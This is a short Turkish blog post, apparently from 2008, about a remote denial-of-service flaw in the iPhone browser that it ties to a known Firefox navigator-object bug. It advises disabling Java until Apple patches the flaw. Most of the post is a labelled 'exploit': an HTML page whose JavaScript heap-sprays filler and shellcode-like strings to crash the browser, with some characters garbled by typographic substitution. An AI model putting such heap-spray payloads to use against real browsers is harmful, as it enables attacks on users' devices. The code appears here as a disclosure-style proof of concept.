->
pple iPhone uzaktan gerçekleştirilen DoS saldırısıc0ntex tarafından 1.1.2 sürümü için tespit edilmiş fakat 1.1.3 sürümünün de etkilendiği doğrulandı. Bu açığın Firefox 1.5.04 için bilinen bir problem olduğu ortaya çıktı.
Mozilla Firefox Javascript navigator Object açığıolarak bilinen açıktan etkilenmemek için, Apple yama çıkarana kadar Java’nın kapatılmasıtavsiye ediliyor.
exploit:
<html><bOdy><script>
function Demo() {
var shellcode;
var addr;
var fill;
alert(’attempting a crash!’);
shellcode = unescape(’%u0c0c’);
fill = unescape(’%ucccc’);
addr = 0×02020202;
var b = fill;
while (b.length <= 0×40000) b+=b;
var c = new Array();
for (var i =0; i<36; i++) {
c[i] =
b.substring(0, 0×100000 - shellcode.length) + shellcode +
b.substring(0, 0×100000 - shellcode.length) + shellcode +
b.substring(0, 0×100000 - shellcode.length) + shellcode +
b.substring(0, 0×100000 - shellcode.length) + shellcode;
}
}
</script>
<input type=’button’ onClick=’Demo()’ value=’Go!’>
</bOdy></html>
Powered by MightyAdsense
No tag for this post.
19 Mart 2008 Saat 18:34
Thanks a lot..